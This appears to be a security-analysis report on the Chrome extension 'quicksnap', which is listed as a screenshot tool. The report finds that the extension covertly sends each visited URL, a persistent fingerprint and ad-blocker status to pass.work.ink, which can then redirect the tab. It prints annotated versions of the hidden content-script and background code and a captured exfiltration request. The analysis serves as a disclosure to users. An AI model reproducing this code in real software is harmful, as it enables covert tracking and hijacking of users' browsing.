Is quicksnap safe?

High risk

quicksnap reports visited URLs and a persistent fingerprint to pass.work.ink before server-directed redirects.

The extension runs a content script on nearly every site at document start and sends the current page URL, an extension-generated persistent fingerprint, and ad blocker status to pass.work.ink. The server response can then direct the page to navigate to another URL.

quicksnapv1.0.1Chrome Web Store
73Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Every visited URL and a persistent ID sent to pass.work.ink before redirect

QuickSnap's listing calls it only a screenshot tool.

A hidden content script on every site reports the page URL and a persistent ID to pass.work.ink, which can redirect your tab.

Fires on ordinary pages; ID reused across sites.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

You browse to an ordinary website with QuickSnap installed.

The extension did this

The extension sends the page's full URL and a persistent tracking ID to pass.work.ink, which returns a decision that can redirect your tab.

This runs regardless of whether you ever use the screenshot feature the extension is listed for.

Fields sent to pass.work.ink on each qualifying page visit
  • Page URL
    https://example.com/

    The full address of the page you're viewing, base64-encoded into the request path.

  • Persistent tracking ID
    quicksnap+5f8533ab-1a60-47e5-917a-92d9368ba5fe

    A per-install identifier generated once and reused on every request, letting pass.work.ink connect separate visits to the same browser.

  • Ad-blocker detected
    0 (no ad blocker detected)

    Whether uBlock Origin, AdBlock Plus, or AdGuard is installed, checked separately every 5 seconds via chrome.management.

Captured request
GEThttps://pass.work.ink/redirect/aHR0cHM6Ly9leGFtcGxlLmNvbS8%3D?fingerprint=quicksnap%2B5f8533ab-1a60-47e5-917a-92d9368ba5fe&adblockerInstalled=0&base64=1&json=1

HTTP 200 with a JSON body containing noRedirect and to fields. In this session noRedirect was true so the tab was not sent elsewhere, but the page URL and persistent ID had already left the device before that decision came back.

Why you can't catch this in DevTools

The visited page's URL is base64-encoded before being placed in the request path, so a quick glance at network traffic does not immediately show which page you were on.

Decoded value
https://example.com/
The code that does this

inject2.js reports the page; background.js supplies the ad-blocker flag it reads

Readable version

inject2.js - annotated

inject2.js
// content script, document_start, matches *://*/*const url = window.location.href;const hostKey = "redirected_" + window.location.host;// Per-host dedup: don't report the same host again within 10 hours.let session = await chrome.storage.session.get(hostKey);if (session[hostKey] + 36e6 < Date.now()) {  await chrome.storage.session.remove(hostKey);}session = await chrome.storage.session.get(hostKey);// Skip empty/non-http pages, already-reported hosts, and a fixed set of// keywords/paths (work.ink itself, /redirect, /monetize, payment,// checkout, gateway, google.com).if (!url || url.trim() === "" || !url.startsWith("http") ||    url.includes("work.ink") || session[hostKey] ||    url.includes("/redirect") || url.includes("/monetize") ||    url.includes("payment") || url.includes("checkout") ||    url.includes("gateway") || url.includes("google.com")) {  return;}// Mark this host as reported for the next 10 hours.await chrome.storage.session.set({ [hostKey]: Date.now() });// Reuse (or create) a persistent per-install tracking ID.let fingerprint = (await chrome.storage.local.get(["fingerprint"])).fingerprint;if (!fingerprint) {  fingerprint = "quicksnap-" + uuidv4();  await chrome.storage.local.set({ fingerprint });}const adblockerInstalled =  (await chrome.storage.local.get(["adblockerInstalled"])).adblockerInstalled ? 1 : 0;// Report the current page URL + persistent ID to pass.work.ink and let// the response decide whether to redirect this tab.const res = await fetch(  `https://pass.work.ink/redirect/${encodeURIComponent(btoa(url))}` +  `?fingerprint=${encodeURIComponent(fingerprint)}` +  `&adblockerInstalled=${adblockerInstalled}&base64=1&json=1`);const decision = await res.json();if (!decision.noRedirect) window.location.replace(decision.to);

background.js - annotated

background.js
// service worker// Checks chrome.management for three known ad-blocker extension IDs// every 5 seconds and records which one (if any) is installed.function isExtensionInstalled(extensionId, callback) {  chrome.management.get(extensionId, () => {    callback(!chrome.runtime.lastError);  });}function pollAdblockers() {  let found = false;  const clearIfNoneFound = () => {    if (!found) chrome.storage.local.remove("adblockerInstalled");  };  isExtensionInstalled("cjpalhdlnbpafiamejdnhcphjbkeiagm", (installed) => { // uBlock Origin    if (installed) { chrome.storage.local.set({ adblockerInstalled: "uBlock Origin" }); found = true; }    clearIfNoneFound();  });  isExtensionInstalled("cfhdojbkjhnklbpkdaibdccddilifddb", (installed) => { // AdBlock Plus    if (installed) { chrome.storage.local.set({ adblockerInstalled: "AdBlockPlus" }); found = true; }    clearIfNoneFound();  });  isExtensionInstalled("bgnkhhnnamicmpeenaelnjfhikgbkllg", (installed) => { // AdGuard    if (installed) { chrome.storage.local.set({ adblockerInstalled: "AdGuard" }); found = true; }    clearIfNoneFound();  });}setInterval(pollAdblockers, 5000);pollAdblockers();
When this fires

Every 10 hours

The check runs on document_start for every page you navigate to, but is skipped for that host for the next 10 hours once it has fired, and permanently skipped for pages whose URL contains work.ink, /redirect, /monetize, payment, checkout, gateway, or google.com.

Where the page URL and tracking ID go
    • pass.work.ink

    Receives the base64-encoded page URL, tracking ID, and ad-blocker flag on qualifying visits, returning a JSON decision that can redirect the tab. Not named in the store listing.

What it can do

Permissions this extension asks for, as declared in version 1.0.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Store data in your browser

    storage

  • See, disable and uninstall your other extensions, including your security ones

    management

  • Run its own code inside the pages you visit

    scripting

  • Act on the current tab, but only after you click the extension

    activeTab

Where it sends data

Destinations our analysis observed quicksnap contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • pass.work.ink

    quicksnap sends data to pass.work.ink. 2 other extensions we have analysed send data here.

Updated 30 September 2026cdkbepknpekpkhhpdnmmaogojkmoieig